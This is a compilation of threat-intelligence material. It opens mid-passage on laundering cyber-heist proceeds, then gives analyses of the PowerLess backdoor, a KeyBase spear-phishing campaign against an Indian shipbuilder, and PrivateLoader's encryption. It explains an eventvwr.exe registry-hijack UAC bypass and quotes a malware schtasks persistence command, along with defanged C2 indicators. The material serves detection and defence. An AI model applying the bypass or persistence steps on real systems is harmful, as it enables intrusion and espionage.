transferred or, in the case of large-scale ATM-based heists, the method of converting cash obtained in local currency into a more transferable currency, such as USD. #### 3.2.1 Use of Money-Mules Money mules serve as intermediaries for cyber criminals, acting as a bridge between the exfiltration of stolen funds from a bank and transferring these funds to criminal benefactors. The number of money mules involved in placement activities for a large-scale cyber heist varies but often involves around 10 individuals. For example, an attack linked to the Lazarus Group involved 12,000 ATM withdrawals performed in approximately two hours across 28 countries, indicating a large organized group of money mules. The following schematic provides an overview of a real-life ATM-focused cyber heist, outlining the number of money mules involved and the initial mechanisms used to start the money laundering process. ### 3.2.2 Risk of Money Muling Despite being financially rewarded, the intrinsic risk associated with a money mule is significant. In the event of an investigation by law enforcement after a heist, the actions of the money mule are at the forefront. Issues during the money mule stage have led to the arrest of cyber group leaders, but money mules can often be scapegoats, punished for their involvement while the rest of the cyber group remains at large. The process of money muling marks the most physical aspect of an ATM-related cyber heist, making it the weakest link in the operation. CCTV cameras at ATM locations can identify and record suspicious behavior. The methodologies underpinning various ATM cashout techniques carry certain risks. The lack of a card and PIN entry associated with ATM management techniques has been noticed as suspicious by law enforcement, leading to arrests. Similarly, the rapid draining of cash from ATMs targeted by FASTCash thefts has raised alarms among banking staff. #### 3.2.3 Money-Muling Interventions Many initiatives to mitigate the risk of successful cyber heists focus on money mules. At the end of 2019, law enforcement authorities from 31 countries, supported by Europol, Eurojust, and the European Banking Federation, coordinated global action against money muling, resulting in the identification of 3,833 money mules and 386 recruiters, with 228 arrests. More than 650 banks and financial institutions reported 7,520 fraudulent money mule transactions, preventing a total loss of €12.9 million. ### 3.3 Layering Layering is the most substantive phase of the money laundering process, involving multiple steps to conceal the origin and ownership of the stolen funds. #### 3.3.1 What Happens After the Funds Are with the Initial Money-Mule? Monies withdrawn from ATMs in cyber heists tend to be immediately exchanged into US Dollars at money exchanges. This step could suggest complicity by employees at money exchanges or indicate negligence. In some cases, initial money mules have been caught, while in others, the funds might be passed to an intermediary who transfers them to the cyber criminal. In instances involving nation-state actors like the Lazarus Group, stolen funds may be channeled via other layering techniques to further obfuscate their path. #### 3.3.2 Obfuscation of Funds via Front Companies Setting up front companies can be used to circumvent sanctions and enable covert access to the global financial system. Front companies act as a cover for laundering illicit funds and typically lack significant legitimate assets. They may not maintain active business operations or can have a legitimate purpose used to conceal true ownership. Front companies are often set up in jurisdictions known for strong banking secrecy laws or poor enforcement of money laundering regulations. #### 3.3.3 Cash Businesses Cash-intensive businesses, such as the gold market, diamond and jewels industries, betting shops, and casinos, can offer mechanisms for laundering the proceeds of crime. Casinos can be used to clean cash by converting it into chips and then exchanging it back into cash, with a cheque from the casino showing a legitimate transaction. #### 3.3.4 Use of Financial Representatives Front companies registered in East Asia may operate on behalf of governments in FATF high-risk jurisdictions. Financial representatives using East Asian aliases are responsible for setting up and operating front companies and bank accounts across the region, facilitating the laundering of proceeds from cyber heists. #### 3.3.5 Red Flags Red flags relating to front companies involved in illicit financial activity include: - Financial activity by a front company that has no relevance to its stated area of business. - Evidence of shared entities between front companies, including addresses, phone numbers, managers, and owners. - Front companies that lack obvious public activity or presence. These red flags can assist individuals in financial institutions working on compliance areas like due diligence and KYC screening to better detect front companies used for illicit purposes. #### 3.3.6 Facilitating Jurisdictions Regulations and conditions governing company registration and reporting requirements in East Asia make the region attractive for business but vulnerable to abuse. Some jurisdictions allow companies to share offices with their company secretary, enabling the creation of vast numbers of front companies. This hub is attractive for heavily sanctioned jurisdictions seeking access to international trading markets and facilitating money laundering. ### 3.4 Integration The means and methods by which cyber criminals convert stolen funds into usable assets can indicate the strategic professionalism and experience of the cyber-attack group. It can also help law enforcement agencies close in on the group. #### 3.4.1 Cash-Out Conundrum The cash-out process chosen by cyber criminals can reveal a correlation between extravagant spending of stolen funds and the professionalism of the criminal. Operations early in a cyber criminal’s history often show immediacy in how stolen funds are used, which could link them to the heist. #### 3.4.2 Integration of Funds: Cyber-Criminals Some cyber-attack groups make extravagant purchases, drawing the attention of law enforcement and often leading to their arrest. An inability to use funds strategically with less ostentatious purchases can be their undoing. In contrast, methods chosen to cash out proceeds illustrate greater experience and a strategic approach to maintain a low profile. #### 3.4.3 Integration of Funds: Nation-State Actors Nation-state cyber groups do not share the independence enjoyed by criminal groups. Their actions fulfill the demands of the regime rather than leading to personal possessions. #### 3.4.4 Reinvesting in Criminality Cyber criminals might seek to integrate proceeds from a cyber heist by reinvesting in crime, especially in the illegal drugs market. Over a third of organized crime groups in Europe, including cyber criminals, are directly involved in the production or trafficking of illegal drugs. #### 3.4.5 Cryptocurrency and Its Growing Appeal Identified cases of laundering through cryptocurrencies remain relatively small compared to traditional methods. However, significant cyber-crime groups have converted stolen funds from ATM cashouts into cryptocurrency. The anonymity offered by alternative cryptocurrencies and services like mixers and tumblers boosts their appeal for nefarious purposes. ### 4. Mitigation of Money Laundering Risks #### 4.1 Information Sharing Technologies A central initiative in empowering banks to detect illicit activity involves enhancing public-private sharing initiatives for timely exchanges between financial institutions and law enforcement. SWIFT created a global information sharing initiative, establishing a Customer Security Intelligence (CSI) team to investigate cyber incidents and introduced a SWIFT ISAC information sharing portal. #### 4.2 Augmented Sharing of Risk Factors A FATF high-risk jurisdiction conducting illicit practices via front companies in East Asia has been thoroughly investigated. There is a need to distill and share key findings across the international financial system to enable institutions to identify transactions linked to nefarious activity. #### 4.3 Money-Mule Initiatives The essential role of the money mule in facilitating successful cyber heists makes it a focus area for risk mitigating initiatives. Numerous government, policing, and industry initiatives have been launched, including coordinated actions by Europol’s Cybercrime Centre and campaigns to deter young people from becoming money mules. #### 4.4 Compliance and Reporting Enhancements Cyber heists often occur in jurisdictions with weaker regulations. Some regulators in East Asia have set up a Fraud and Money Laundering Intelligence Taskforce to enhance detection and prevention. Tightening customer due diligence measures across financial institutions is necessary. #### 4.5 Insufficient Cyber Security A pervasive issue across financial institutions is reliance on legacy systems and processes, leaving them vulnerable to cyber threats. Regular staff awareness courses on risks related to spear-phishing could pay dividends. ### Conclusion Large-scale cyber heist attempts are expected to continue and evolve. Attackers are focused on large-scale payouts and will persist in mounting attacks. The desire to disrupt and destabilize the financial system should not be overlooked as an ongoing risk. While many financial institutions can recover from financial theft, the distraction and destructive components of some techniques deployed during a cyber heist can have far greater operational impacts. Many cyber heists will continue to be detected and stopped as financial institutions improve their controls. However, they must not become complacent, as threat actors will seek ways around controls. Ultimately, some large-scale cyber heist attacks will continue to be successful. Therefore, disrupting criminal activity throughout the money laundering process should remain a focus, particularly on money-muling activities and the use of front companies. Collaboration will be key in these areas, both inter-organizationally and internationally. Awareness of new money laundering techniques, such as those involving cryptocurrency, will be crucial in reducing opportunities for threat groups to benefit from high-value cyber heists.
# PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage Over the past months, the Cybereason Nocturnus Team observed an uptick in the activity of the Iranian attributed group dubbed Phosphorus (AKA Charming Kitten, APT35), known for previously attacking medical research organizations in the US and Israel in late 2020, and for targeting academic researchers from the US, France, and the Middle East region back in 2019. They have also previously targeted human rights activists, the media sector, and interfered with the US presidential elections. Towards the end of 2021, multiple attacks were carried out exploiting the notorious Microsoft Exchange Server vulnerabilities chained together and referred to as ProxyShell, which ultimately enabled multiple threat actors to deploy malware on their targets’ networks. There have been several reports detailing the exploitation of these vulnerabilities by Iranian state-sponsored threat actors, among them the Phosphorus APT group carrying out ransomware attacks. Cybereason researchers recently discovered a new set of tools which were developed by the Phosphorus group and incorporated into their arsenal, including a novel PowerShell backdoor dubbed PowerLess Backdoor. Our research also highlights a stealthy technique used by the group to avoid PowerShell detection by running the PowerShell Backdoor in a .NET context rather than spawning the PowerShell process. In addition, several interesting connections were found between the Phosphorus group and the Memento Ransomware that first emerged in late 2021. ## Key Findings - **Novel PowerShell Backdoor**: A novel and previously undocumented PowerShell backdoor related to the Phosphorus group was discovered by the Cybereason Nocturnus Team and dubbed PowerLess Backdoor. It supports downloading additional payloads, such as a keylogger and an info stealer. - **Evasive PowerShell Execution**: The PowerShell code runs in the context of a .NET application, thus not launching “powershell.exe” which enables it to evade security products. - **Modular Malware**: The toolset analyzed includes extremely modular, multi-staged malware that decrypts and deploys additional payloads in several stages for the sake of both stealth and efficacy. - **Highly Active Infrastructure**: At the time of writing this report, some of the IOCs remained active delivering new payloads. - **Wide Range of Open Source Tools**: A lot of the activity observed involved a variety of publicly available tools, such as cryptography libraries, weaponizing them for payloads and communication encryption. - **Shared IOCs with Memento Ransomware**: One of the IP addresses serves a domain which is being used as command and control (C2) for the recently discovered Memento Ransomware. - **Phosphorus Threat Group**: The Phosphorus Threat Group was previously spotted attacking research facilities in multiple regions such as the US, Europe, and the Middle East. The group is known to be behind multiple cyber espionage and offensive cyber attacks, operating in the interest of the Iranian regime, leveraging cyberwarfare in accordance with Iran’s geopolitical interests. - **Use of Publicly Available Exploits**: The Phosphorus Group was first seen exploiting the ProxyShell vulnerability, and later on the Log4j vulnerability as well, utilizing fresh exploits in the wild. ## A Glimpse into Phosphorus Updated Arsenal Following up on both public and non-public intelligence that is available to Cybereason in regard to the Phosphorus threat actor, the Cybereason Nocturnus Team was able to identify a new toolset that includes a novel backdoor, malware loaders, a browser info stealer, and a keylogger. It is worth noting that some of the more recent methods that were observed in attacks attributed to the Phosphorus group included open-source tools such as the famous DiskCryptor library and also BitLocker, along with the Fast Reverse Proxy which is used for RDP proxying. ## Pivoting from a Previously Known Arsenal The journey to the discovery of the new toolset started with threat intelligence efforts that included pivoting on an IP address (162.55.136[.]20) that was already attributed to Iranian threat actors by multiple sources, including US CERT. While examining different files that were downloaded from this IP address, we stumbled upon a file named “WindowsProcesses.exe”. This file, entitled “WindowsProcesses.exe” is a 64-bit executable loader whose sole purpose is to resolve relevant DLLs and load another file from the “%windir%\Temp” path entitled “dll.dll”. By the looks of it, the authors could have been inspired by a code snippet found publicly available on GitHub, which facilitates running PowerShell with CLR in native runtime. The snippet is named “Powerless”, and the authors seem to have kept that naming convention, as shown in the PDB path of the binary: `C:\\Users\\pugna\\Desktop\\126\\V1\\PowerLessCLR\\x64\\Release\\PowerLessCLR.pdb`. ### Analysis of dll.dll Dll.dll is a simple .NET AES decryptor that uses a hardcoded key “()*&3dCfabE2/123” to decode another file named “upc” to ultimately execute PowerShell code from the decrypted object. The upc encrypted BLOB is decrypted using dll.dll, and contains multiple encryption layers that all are decrypted in stages using base64 and AES ECB decryption. Prior to decrypting the PowerShell backdoor, an intermediate stage takes place when the victim’s machine is assigned a unique identifier which is sent to the C2, which downloads an additional configuration. ### Analysis of the PowerLess Backdoor After all the AES encrypted layers are decrypted, the PowerLess backdoor is executed. The PowerLess backdoor is equipped with the following capabilities: - Downloading and executing additional malware and files - Additional modules: - Browsers info stealer - Keylogger module - Encrypted channel with the C2 - Executing arbitrary commands - Killing processes - Stealing browser data - Keylogging It is worth mentioning that the backdoor is being run within a .NET context, so therefore it does not spawn “powershell.exe”. This behavior can be interpreted as an attempt to evade certain PowerShell detections, although PowerShell logs are being saved on the machine. Oddly enough, there is a part of the code in the PowerLess Backdoor that does spawn a powershell.exe process when the request to kill a process is received from the C2. It can be assumed that the native language of the backdoor’s authors is likely not English given the abundance of typos and grammatical mistakes found in the code. ### Keylogger One of the modules downloaded by the PowerLess backdoor is a keylogger that is written in .NET. Its core functionality is quite simple, consisting of hooks and the logging of the user’s keystrokes. The logs are being stored in the following path: `C:\\Windows\\Temp\\Report.06E17A5A-7325-4325-8E5D-E172EBA7FC5BK`. ### Stealer Another module is a browser info stealer, which is also written in .NET, and includes the BouncyCastle crypto library. It also uses an SQLite data reader object for Chrome and Edge browser database files. In the staging phase, the data is encrypted and written in JSON format for exfiltration. The logs are being stored in the following path: `C:\\Windows\\Temp\\cup.tmp`. ## Additional Tools Potentially Related to Phosphorus In addition to the newly discovered PowerLess Backdoor, other tools were identified by the Nocturnus Team which are suspected to originate from the same developer. However, at this point in time there isn't enough evidence to conclusively tie these tools to Phosphorus with a high level of confidence. Looking at the PE info of “WindowsProcesses.exe”, the below PDB path is present: `C:\Users\pugna\Desktop\126\V1\PowerLessCLR\x64\Release\PowerLessCLR.pdb`. Searching for the prefix “C:\Users\pugna” returns other unidentified tools. “Chromium F.exe” is yet another .NET browser info stealer. Although the code is different, by the functionality it is similar to the abovementioned info stealer module, leading us to assess that it might be an earlier variant. “Sou.exe” is another .NET file, but this time it’s an audio recorder which uses the NAudio open source library. ## A New Locker in the Making? One of the more recent tools that was allegedly from the same developer is what appears to be an unfinished Ransomware variant. It is also written in .NET and at this point doesn’t do anything except locking the target’s screen. As can be seen, the fields like the ransom amount and attacker’s email are yet to be set. Although unfinished, it is worth mentioning that the sample was uploaded from Iran via web, and it might imply yet another step in the direction of this threat actor towards ransomware. ## Analysis of FRP Loaders One of the more active IPs that was reported in the ProxyShell attacks was 148.251.71[.]182. In addition, another recent report mentions this IP address as part of an active exploitation of the Log4j vulnerability. The “symantec” and “update” themed files all serve the FRP again. The “RCE” links, on the other hand, serve a Java loader that distinguishes the victim machine’s operating system and drops the appropriate version of FRP. There are two slightly different variations of the loader, but eventually they check for the file separator of the OS, which is “/” in case it’s Linux or “\” in Windows, and then downloads the payload and creates persistence. Another loader which eventually delivers FRP is PowerShell code converted to an executable by the “Ps1 To Exe” freeware that is available for download on public forums, where less technical people can successfully use it. Finally, the loader creates a scheduled task for FRP, of course while being dependent on the OS type. ## The Memento Ransomware Connection Another IP that appears in US CERT’s list is 91.214.124[.]143. Searching it in VirusTotal reveals other malicious files communicating with it, as well as unique URL directory patterns that reveal a potential connection to Memento Ransomware: - The string “gsdhdDdfgA5sS” appears to be generated by the same script as the one listed in the Memento Ransomware IOCs: “gadfTs55sghsSSS”. - The domain “google.onedriver-srv[.]ml” was previously resolved to the IP address 91.214.124[.]143 mentioned in the US CERT alert about Iran state-sponsored actors activity. The “Connector3.exe” naming convention: as mentioned above, Phosphorus has been observed using the FRP tool in many occasions. The file name that is used for FRP and reported by the US CERT is “Connector3.exe”. As can be seen below, the same name is being used to name a backdoor by Memento. The activity of Phosphorus with regard to ProxyShell took place in about the same time frame as Memento. Iranian threat actors were also reported to be turning to ransomware during that period, which strengthens the hypothesis that Memento is operated by an Iranian threat actor. ## Conclusion In this report, the Cybereason Nocturnus Team detailed a previously undocumented PowerShell backdoor dubbed PowerLess, used by the Iranian APT Phosphorus in recent attacks. This research also provided further details regarding the group’s tools and techniques, including the use of publicly available tools and a combination of coding languages. The extensive usage of open source tools that is assessed to demonstrate the intermediate coding skills of the attackers. The use of various programming languages also might point to a lack of specialization in any specific coding language. This research also highlights how important it is for threat intelligence analysts to “follow the breadcrumbs,” such as pivoting on known infrastructure or the PDB paths left by the attackers in this case, in order to pave the way for discovering additional tools and connections to other operations. Finally, a connection between Phosphorus and the Memento ransomware was also found through mutual TTP patterns and attack infrastructure, strengthening the connection between this previously unattributed ransomware and the Phosphorus group. The Cybereason XDR Platform detects and blocks the PowerLess Trojan and other advanced TTPs used in this operation. Cybereason is dedicated to teaming with defenders to end attacks on the endpoint, across enterprise, to everywhere the battle is taking place. ## MITRE ATT&CK BREAKDOWN - **Reconnaissance** - Gather Victim Host Information - Gather Victim Identity Information - **Execution** - Command and Scripting Interpreter: PowerShell - Scheduled Task/Job: At (Windows) - **Persistence** - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - Scheduled Task/Job: At (Linux) - **Defense Evasion** - Masquerading - Impair Defenses: Disable or Modify System Firewall - Modify Registry - **Discovery** - Account Discovery: Local Account - **Collection** - Archive Collected Data - Audio Capture - Input Capture: Keylogging - **Command and Control** - Application Layer Protocol: Web Protocols - Data Encoding: Standard Encoding - Encrypted Channel: Symmetric Cryptography - **Credential Access** - OS Credential Dumping
# Cyber Attack Targeting Indian Navy’s Submarine and Warship Manufacturer In my previous blog posts, I described attack campaigns targeting Indian government organizations, Indian Embassies, and the Ministry of External Affairs. In this blog post, I describe a new attack campaign where a cyber espionage group targeted the users of Mazagon Dock Shipbuilders Limited (also called the shipbuilder to the nation). Mazagon Dock Shipbuilders Limited (MDL) is a Public Sector Undertaking of the Government of India (Ministry of Defence) and specializes in manufacturing warships and submarines for the Indian Navy. In order to infect the users associated with Mazagon Dock Shipbuilders Limited (MDL), the attackers distributed spear-phishing emails containing a malicious Excel file, which when opened, drops malware capable of spying on infected systems. The email purported to have been sent from legitimate email IDs. The attackers spoofed the email ID associated with a Spain-based equipment manufacturing company, Hidrofersa, which specializes in designing and manufacturing naval, industrial, and mining machinery. ## Overview of the Malicious Emails On 26th January 2017, the Indian Navy displayed its state-of-the-art stealth guided missile destroyer INS Chennai and the indigenously-made Kalvari class Scorpene submarines at the Republic Day parade, showcasing India’s military strength and achievements. INS Chennai and Kalvari class submarines were manufactured by Mazagon Dock Shipbuilders Limited (MDL). On 25th January (the day before Republic Day), attackers spoofed an email ID associated with Hidrofersa, a Spain-based company, and the email was sent to the users of Mazagon Dock Shipbuilders Limited (MDL). The email attachment contained two malicious Excel files (both files turned out to be the same but used different names). The email was made to look like it was sent by a General Service Manager of Hidrofersa, inquiring about the product delivery schedule. Mazagon Dock Shipbuilders Limited (MDL) is listed as one of the clients of Hidrofersa (mentioned on Hidrofersa's website), and as per their website, Hidrofersa has shipped equipment to Mazagon Dock Shipbuilders Limited (MDL) in the past. This is probably the reason attackers spoofed the email ID of Hidrofersa, as it is less likely to trigger any suspicion, and there is a high chance of recipients opening the attachment since it is coming from a trusted equipment manufacturer. It looks like attackers carefully researched (or already knew about) the trust relationship between these two companies. From the email, it looks like the goal of the attackers was to infect and take control of the systems of users associated with Mazagon Dock Shipbuilders Limited (MDL) and to steal sensitive information (like product design documents, blueprints, manufacturing processes, etc.) related to warships and submarines. ## Analysis of Malicious Excel File When the recipient of the email opens the attached Excel file, it prompts the user to enable macro content and also contains instructions on how to enable the macros. Once the macro content is enabled, it calls an auto-execute function `Workbook_Open()`, which in turn downloads the malware sample and executes it on the system. The malicious macro code was reverse-engineered to understand its capabilities. The macro code was heavily obfuscated (used obscure variable/function names to make analysis harder). The macro also contained a lot of junk code, unnecessary comments, and variable assignments. The attackers used this technique to delay, divert, and confuse the manual analysis. The macro then decodes a string that runs a PowerShell script to download malware from a popular university site located in Indonesia. The attackers probably compromised the university website to host the malware. The technique of hosting malicious code on a legitimate site has advantages, as it is unlikely to trigger any suspicion in security monitoring and can also bypass reputation-based devices. The PowerShell script drops the downloaded executable in the `%TEMP%` directory as `doc6.exe`. It then adds a registry entry for the dropped executable and invokes `eventvwr.exe`, which is an interesting registry hijack technique that allows `doc6.exe` to be executed by `eventvwr.exe` with a high integrity level, silently bypassing the UAC (User Account Control). Normally, when the `eventvwr.exe` process (which is running as a high integrity process) is invoked, it starts `mmc.exe`, which opens `eventvwr.msc`, causing the Event Viewer to be displayed. To start `mmc.exe`, `eventvwr.exe` searches the registry key `HKCU\Software\Classes\mscfile\shell\open\command` looking for `mmc.exe` before looking at `HKCR\mscfile\shell\open\command`. In this case, since this registry `HKCU\Software\Classes\mscfile\shell\open\command` was hijacked to contain the entry for `doc6.exe`, this will cause the `eventvwr.exe` process to invoke `doc6.exe` with a high integrity level. The dropped file (`doc6.exe`) was determined to be KeyBase malware. This malware can steal and send sensitive information to the attackers, such as keystrokes, opened applications, web browsing history, usernames/passwords, and upload desktop screenshots. The feature of uploading the desktop screenshot is notable because if the infected user opens a design or design document related to submarines or warships, the screenshot of that can be sent to the attacker. The attackers also hosted multiple samples of KeyBase malware on the compromised university website. ## Analysis of the Dropped Executable (doc6.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the C2 server). This section contains the behavioral analysis of the dropped executable. Once the dropped file (`doc6.exe`) is executed, the malware copies itself into the `%AllUsersProfile%` directory as `Important.exe`. In addition to that, it also drops two files, `Mails.txt` and `Browsers.txt`, into the same directory. The malware then creates a registry value for the dropped file (`Important.exe`), ensuring that the malware is executed every time the system restarts. The malware keeps track of user activity (like applications opened, files opened, etc.) but does not immediately generate any network traffic, to ensure that no network activity is generated during automated/sandbox analysis. After sleeping for a long time, the malware makes an HTTP connection to the C2 server (command & control server) and sends the tracked user activity to the attacker. ## C2 Communication Pattern Once the malware makes an HTTP connection after sleeping for a long time, it sends the system information and the tracked activity to the C2 server as HTTP parameters. The network communication pattern shows that the hostname and the machine time are sent to the C2 server. Every activity on the infected system is sent to the attacker, allowing the attacker to take further action. Since the open window title is sent to the attacker, this lets the attacker know about the documents opened and the tools running on the system or if any analysis tools are used to inspect the malware. ## C2 Domain Information This section contains the details of the C2 domain (tripleshop[.]id). All the 25 samples hosted on the compromised university site were analyzed, and it was determined that all these samples also communicated with the C2 domain tripleshop[.]id. The C2 domain was associated with only one IP address, which is associated with a hosting provider in Indonesia. ## Threat Intelligence Even though attackers tried to make it look like the spear-phishing email was sent by an email ID associated with Hidrofersa, inspecting the email headers revealed some interesting information. The `X-AuthUser` in the header revealed the identity of the sender, which is associated with a company named “Combined Freight (PVT) Limited.” Combined Freight (PVT) Limited is a freight forwarding company headquartered in Karachi, Pakistan. Based on the information mentioned above, it looks like the spoofed email was sent by a user associated with the Pakistan-based company Combined Freight (PVT) Limited. ## Indicators Of Compromise In this case, the cyber espionage group targeted Mazagon Dock Shipbuilders Limited (MDL), but it is possible that other defense equipment manufacturers could also be targeted as part of this attack campaign. The indicators associated with this attack are provided so that organizations (Government, Public, Private organizations, Defense, and Defense equipment manufacturers) can use these indicators to detect, remediate, and investigate this attack campaign. **Dropped Malware Sample:** - 08f2fc9cb30b22c765a0ca9433b35a46 **Samples hosted on the compromised University site:** - 6c94b4c7610d278bf8dfc3dbb5ece9ce - a81eaed8ae25f5fa5b107cbc6fe6e446 - 9a708879fd0a03d4089ee343c9254e5b - 069629248742f9d762f66568ba7bcec8 - 6455a43366f4da09429738076e7f289c - 34d5a3d6ae3c1836e0577b6f94ee0294 - 6eee8a69bc40b104931abdd68509df85 - 01c85dd7d8202765331a5cc818948213 - 42664aa65c473832a5c0df62c8b38d68 - 18e7480894149194f2cd17ee40d0ad7b - 575b4b449a12f2bed583f2a59485f776 - eae013aec7f45661223ea115ee38cc95 - 33b9c2c2cbecd4a4844057491b02379e - bf499821c935e67e0fb606915453a964 - 42e411bcb48240fb44c48327b81d8c57 - efaa8d161bbe6342204ffa5b1b22ed0c - 4623d0e188dc225de8dcd494c7802f7f - 3cba51905a78bd221a2433ee180111c0 - a6e6a131887c0cdbf67569e1320840d8 - 08f2fc9cb30b22c765a0ca9433b35a46 - 44b7aaea854a1a3a0addb521eb7c5eb9 - 22730ae47acc178c0445c486d16d7ae9 - 5b5edc209737b6faa3a6d6711fba1648 - bf5e7ea70c2dab12100b91d77ca76ff2 - 34c44c9138a2d4c31391c2cc0b044c02 **Network Indicators Associated with C2:** - tripleshop[.]id - 103[.]229[.]74[.]32 **C2 Communication Patterns:** - hxxp://tripleshop[.]id/userfiles/media/pixum/okilo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/agogo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/alpha/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/ariri/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/bobby/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/chisom/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/crack/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/declan/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/elber/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/figure/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/henry/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/ike/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/jizzy/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/kcc/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/kc/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/matte/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/nels/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/notes/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/polish/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/turbo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/whesilo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/yboss/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/yg/post.php ## Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email IDs and using an email theme relevant to the targets. The following factors in this cyber attack suggest the possible involvement of a Pakistan state-sponsored cyber espionage group to steal intellectual property such as design/blueprints and manufacturing data related to submarines and warships: - Victims/targets chosen (Submarine & Warship manufacturer for Indian Navy) - Use of email theme related to the targets - Timing of the spear-phishing emails sent to the victims (the day before Republic Day) - Email header information indicating the possible Pakistan connection - Use of malware that is capable of spying and uploading screenshots - Use of TTPs (tactics, techniques & procedures) similar to previous campaigns The following factors reveal the attackers' intention to remain stealthy and their attempt to evade sandbox analysis, manual analysis, and security monitoring at both the desktop and network levels: - Use of obfuscated malicious macro code - Use of junk code (to divert manual analysis) - Use of compromised university site to host malicious code (to bypass security monitoring) - Use of silent UAC (User Account Control) bypass technique - Use of malware that sleeps for a long time without generating any network activity (to evade sandbox analysis) - Use of hosting provider to host C2 infrastructure Cyber espionage groups will continue targeting defense sectors and defense equipment manufacturers for the following reasons: - To steal defense-related information and proprietary product information that can provide their sponsoring governments with military and economic advantages. - To identify vulnerabilities in defense technologies to gain an advantage over adversaries' military capabilities. - To reduce their research and development costs and produce and sell similar products at lower prices.
# PrivateLoader: Analyzing the Encryption and Decryption of a Modern Loader In this article, we delve into the inner workings of PrivateLoader, a notorious malicious loader family. We will explore the encryption and decryption processes utilized by this malware, particularly focusing on its ability to protect itself using VMProtect, as well as its decryption of loaded libraries. Let’s dive in! ## PrivateLoader PrivateLoader is a malicious loader family, written in C++ and first discovered in early 2021. It is known for distributing a wide range of malware, from simple information stealers to complex rootkits and spyware, utilizing payloads. The distribution of this type of malware is managed by the Pay-Per-Install (PPI) service, a popular tool within the cybercriminal ecosystem that generates revenue by adding payloads to malware. The code itself involves the decryption of loaded libraries. At present, there are two versions of PrivateLoader available: one protected by VMProtect, and a regular version. Every day, between 2 and 4 samples of this malware are uploaded. ## Static Analysis of the Source File Using the Detect It Easy utility, we can see that the analyzed executable file is compiled in C++. There is no information about the packer, which could mean it was not possible to identify it. ### PrivateLoader's Sample Data The next step is to search for unencrypted strings using the strings command: ``` strings --encoding=l loader.exe ``` Analyzing the discovered strings allows us to identify several interesting elements: - A user-agent, which is likely used to masquerade as a legitimate browser application - URL addresses for determining the current IP and geolocation ## PrivateLoader Dynamic Analysis with ANY.RUN We analyzed the sample in ANY.RUN interactive malware sandbox. The process tree generated by the executable file appears as follows: Analyzing the process tree leads to the following conclusions: 1. The main PrivateLoader process creates a child process named “FhuC750omh76YtB1xgR7diEy.exe”, whose executable file is located in the user’s “Pictures” directory (T1564 – Hide Artifacts): `C:\Users\admin\Pictures\Minor Policy` 2. The created child process is added to the startup using Task Scheduler (T1053.005 – Scheduled Task/Job: Scheduled Task): `schtasks /create /f /RU “admin” /tr “C:\Program Files (x86)\ClipManagerP0\ClipManager_Svc.exe” /tn “LOLPA4DESK HR” /sc HOURLY /rl HIGHEST` The executable file of the child process was downloaded from the Internet (T1105 – Ingress Tool Transfer). We will not go into the detailed analysis of it. Analyzing the HTTP requests, we can observe connections and data exchanges with the C2 server (T1071.001 – Application Layer Protocol). The content sent (as well as received) in POST requests consists of BASE64-encoded strings (T1132.001 – Data Encoding: Standard Encoding). Decoding these strings does not yield any readable results: ``` data=- kSYhy9HPjD5Jhn9y6Evty4XFfJ3JgIwrSzln5bGnLfKDmbXix2ebDEXy6Ty3Bb8Hz2GB8w0Y2SL2JeBSZ4G80iHAkSS7JJyeiPwZOpWJONOFzEBar ljR9hkvX_TJhqr1nNqQpYUB2lQ9i7NmmHeL_QSx8hUka_C3jOxi02ml5FyDDruXM_IWwPXvAGxtT8TV- i9wLtfd0mF1O369GUAEeI45sF1pKeyDfssmqE= ``` Moving forward to the indicators, we can see that the malware steals user credentials from browsers (T1552.001 Credentials In Files). ## Technical Analysis of PrivateLoader For the technical analysis, the following tasks were set: 1. Locate the C2 server within the code 2. Identify the encryption algorithms for the C2 server and, if possible, for strings as well. 3. Automate the decryption of the C2 server and strings The analysis of the executable file revealed that string encryption is done using the XOR algorithm (T1027 – Obfuscated Files or Information). Initially, the data and key are loaded into the stack, and then decrypted using the SIMD instruction “PXOR” and the “XMM” register. The result of the XOR operation is also stored in the stack. The three stages of C2 server decryption are shown below: 1. Loading encrypted data into the stack 2. Loading the encryption key into the stack 3. Decrypting the C2 server using the “PXOR” instruction and saving the results in the stack During the analysis process, it was also found that the method similar to C2 decryption is used to decrypt the following: - Used API functions (T1027.007 – Obfuscated Files or Information: Dynamic API Resolution) - Payloads - URLs and more Some of the analyzed samples are protected by VMProtect. The search for string decryption is complicated by the fact that the decryption data is located in one function, while the XOR and key are in another. Moreover, the key is always the same. ### Example of Automating C2 Server Decryption of PrivateLoader To automate the extraction of data and configuration, we can use the Triton framework. It will emulate code blocks that contain all the necessary encrypted information. You can find an example of a script for emulating a specific block in our GitHub repository. The output of the script will be the decrypted C2 server. Therefore, by emulating all the code blocks that contain encrypted data, we can obtain a set of strings with the necessary information, including the C2 server. ## Extracting the PrivateLoader Configuration In our service, you can view the configuration, which is extracted automatically. The decrypted data includes C2 addresses and strings. The strings contain information such as: used libraries and their functions, registry keys, paths to crypto wallets and browsers, etc. ## Conclusion In this article, we discussed encryption in PrivateLoader. Its main feature is the XOR of all strings it interacts with (C2, URLs, DLLs). Also, some samples are protected by VMProtect, which makes the code a bit more complex due to the use of many functions.
